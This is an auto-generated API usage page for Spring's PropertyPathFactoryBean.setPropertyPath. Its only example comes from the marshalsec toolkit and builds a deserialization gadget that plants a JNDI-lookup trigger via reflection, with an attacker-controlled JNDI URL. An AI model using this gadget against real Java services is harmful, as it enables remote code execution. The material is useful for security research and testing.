Example usage for org.springframework.beans.factory.config PropertyPathFactoryBean setPropertyPath

List of usage examples for org.springframework.beans.factory.config PropertyPathFactoryBean setPropertyPath

Introduction

In this page you can find the example usage for org.springframework.beans.factory.config PropertyPathFactoryBean setPropertyPath.

Prototype

public void setPropertyPath(String propertyPath) 

Source Link

Document

Specify the property path to apply to the target.

Usage

From source file:marshalsec.gadgets.SpringPropertyPathFactory.java

@Primary
@Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl })
default Object makePropertyPathFactory(UtilFactory uf, String[] args) throws Exception {
    String jndiUrl = args[0];/*from   ww w . j  av  a 2  s  .  c o m*/
    BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);

    PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
    ppf.setTargetBeanName(jndiUrl);
    ppf.setPropertyPath("foo");

    Reflections.setFieldValue(ppf, "beanFactory", bf);
    return ppf;
}